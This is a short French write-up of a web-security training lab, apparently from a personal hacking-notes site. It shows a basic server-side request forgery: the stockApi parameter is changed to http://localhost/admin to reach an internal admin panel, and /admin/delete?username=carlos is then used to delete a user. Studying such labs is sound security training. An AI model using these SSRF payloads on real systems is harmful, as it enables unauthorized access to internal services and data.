> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssrf/basic-ssrf-against-local-server.md).
# SSRF basique contre le serveur local
### SSRF basique contre le serveur local
Ce labo propose une fonctionnalité de vérification du stock qui interroge un service interne. / L'objectif est de modifier l'URL utilisée par ce contrôle afin d'accéder à l'interface d'administration disponible sur `HTTP://localhost/admin` puis de supprimer l'utilisateur **carlos**.
#### **Analyse et exploitation**
Le **stockApi** paramètre envoie une requête vers une URL interne :
```bash
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1
```
En interceptant la requête, il est possible de remplacer cette URL par une cible locale. / Le serveur traite correctement la valeur suivante :
```javascript
stockApi=http://localhost/admin
```
Cela permet d'afficher l'interface d'administration.
#### **Suppression de l'utilisateur**
Dans le code HTML de l'interface d'administration, nous observons le paramètre utilisé pour supprimer un utilisateur :
```
/admin/delete?username=carlos
```
---
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